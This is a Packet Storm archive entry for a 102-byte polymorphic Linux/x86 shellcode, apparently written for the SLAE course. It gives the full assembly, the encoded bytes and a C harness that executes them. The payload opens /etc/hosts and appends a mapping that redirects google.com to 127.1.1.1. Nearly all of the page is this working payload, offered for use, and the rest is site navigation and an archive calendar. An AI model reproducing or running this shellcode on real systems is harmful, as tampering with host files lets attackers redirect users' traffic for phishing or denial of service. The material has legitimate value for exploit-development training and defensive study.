exploit the possibilities

Linux/x86 /etc/hosts Mapping Add Polymorphic Shellcode

Linux/x86 /etc/hosts Mapping Add Polymorphic Shellcode
Posted Jun 15, 2020
Authored by Xenofon Vassilakopoulos

102 bytes small Linux/x86 add map in /etc/hosts file polymorphic shellcode.

tags | x86, shellcode
systems | linux
MD5 | 979a6e0e42c8f46c1647b1c2de0c533a

Linux/x86 /etc/hosts Mapping Add Polymorphic Shellcode

Change Mirror Download
# Title: Linux/x86 - Add map in /etc/hosts file polymorphic shellcode ( 102 bytes )
# Author: Xenofon Vassilakopoulos
# Date: 2020-06-15
# Tested on: Linux kali 5.3.0-kali2-686-pae #1 SMP Debian 5.3.9-3kali1 (2019-11-20) i686 GNU/Linux
# Architecture: i686 GNU/Linux
# Shellcode Length: 102 bytes
# Original shellcode: http://shell-storm.org/shellcode/files/shellcode-893.php
# SLAE-ID: SLAE - 1314
# Description: Adding a network map in /etc/hosts file

------------------ ASM ------------------

global _start

section .text

_start:
xor ecx, ecx
xor edx, edx
xor eax, eax
mov DWORD [esp-0x4],ecx
mov DWORD [esp-0x8],0x7374736f
mov DWORD [esp-0xc],0x682f2f2f
mov DWORD [esp-0x10],0x6374652f
sub esp,0x10
mov ebx,esp
mov cx, 0x3b1 ;permmisions
add cx, 0x50
mov al, 0x5
int 0x80 ;syscall to open file
mov ebx, eax
xor eax, eax
jmp short _ldata ;jmp-call-pop technique to load the map

write_data:
pop ecx
mov dl,0x12
add dl,0x3
mov al,0x4
int 0x80

add al,0x2
int 0x80

xor eax,eax
mov al,0x1
int 0x80

_ldata:
call write_data
message db "127.1.1.1 google.com",0x0A

------------------ Shellcode ------------------


#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc9\x31\xc0\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x6f\x73\x74\x73\xc7\x44\x24"
"\xf4\x2f\x2f\x2f\x68\xc7\x44\x24\xf0\x2f\x65\x74\x63\x83\xec\x10\x89\xe3\x66"
"\xb9\xb1\x03\x66\x83\xc1\x50\xb0\x05\xcd\x80\x89\xc3\x31\xc0\xeb\x14\x59\xb2"
"\x12\x80\xc2\x02\xb0\x04\xcd\x80\x04\x02\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8"
"\xe7\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c"
"\x65\x2e\x63\x6f\x6d\x0a\x0d";

int main()
{
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close